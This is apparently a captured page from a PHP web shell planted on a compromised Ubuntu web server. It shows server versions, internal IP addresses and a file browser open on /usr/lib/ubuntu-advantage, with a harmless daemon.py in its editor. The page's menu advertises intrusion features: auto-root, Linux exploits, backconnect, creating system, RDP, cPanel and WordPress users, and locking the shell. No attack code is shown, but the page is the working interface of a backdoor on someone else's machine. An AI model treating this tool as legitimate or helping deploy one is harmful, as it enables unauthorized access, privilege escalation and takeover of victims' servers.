Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ubuntu-advantage /
[ HOME SHELL ]
Name
Size
Permission
Action
apt-esm-json-hook
42.32
KB
-rwxr-xr-x
apt_news.py
721
B
-rw-r--r--
auto_attach.py
2.98
KB
-rw-r--r--
cloud-id-shim.sh
500
B
-rwxr-xr-x
daemon.py
1.39
KB
-rw-r--r--
esm_cache.py
592
B
-rwxr-xr-x
migrate_user_config.py
5.42
KB
-rw-r--r--
patch_status_json.py
2.36
KB
-rwxr-xr-x
reboot_cmds.py
5.17
KB
-rw-r--r--
timer.py
6.36
KB
-rw-r--r--
upgrade_lts_contract.py
3.68
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : daemon.py
import logging import os import sys from systemd.daemon import notify # type: ignore from uaclient.config import UAConfig from uaclient.daemon import ( poll_for_pro_license, retry_auto_attach, setup_logging, ) LOG = logging.getLogger("pro") def main() -> int: cfg = UAConfig() setup_logging( logging.INFO, logging.DEBUG, log_file=cfg.daemon_log_file, logger=LOG ) # The ua-daemon logger should log everything to its file # Make sure the ua-daemon logger does not generate double logging # by propagating to the root logger LOG.propagate = False # The root logger should only log errors to the daemon log file setup_logging( logging.CRITICAL, logging.ERROR, log_file=cfg.daemon_log_file, logger=logging.getLogger(), ) LOG.debug("daemon starting") notify("READY=1") if os.path.exists("/run/cloud-init/cloud-id-gce") and not os.path.exists( retry_auto_attach.FLAG_FILE_PATH ): LOG.info("mode: poll for pro license") poll_for_pro_license.poll_for_pro_license(cfg) # not using elif because `poll_for_pro_license` may create the flag file if os.path.exists(retry_auto_attach.FLAG_FILE_PATH): LOG.info("mode: retry auto attach") retry_auto_attach.retry_auto_attach(cfg) LOG.debug("daemon ending") return 0 if __name__ == "__main__": sys.exit(main())
Close